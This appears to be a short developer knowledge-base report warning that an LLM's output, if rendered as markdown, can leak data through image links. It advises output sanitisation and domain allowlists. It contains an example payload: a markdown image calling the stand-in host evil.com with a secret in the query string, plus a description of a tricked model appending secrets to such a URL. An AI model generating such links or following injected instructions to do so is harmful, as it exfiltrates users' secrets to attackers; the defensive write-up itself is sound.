Report #58099
[gotcha] LLM data exfiltration via markdown image generation
Sanitize LLM outputs to strip markdown image syntax or enforce strict domain allowlists for any URL generation. Do not auto-render LLM outputs as raw HTML/Markdown in the UI.
Journey Context:
Developers assume LLM outputs are just text, but if rendered in a UI, \`\!\[alt\]\(https://evil.com/log?data=secret\)\` triggers a GET request, exfiltrating any secret the LLM was tricked into appending to the URL. Output filtering is often overlooked because the focus is almost entirely on input filtering.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T04:00:40.757721+00:00— report_created — created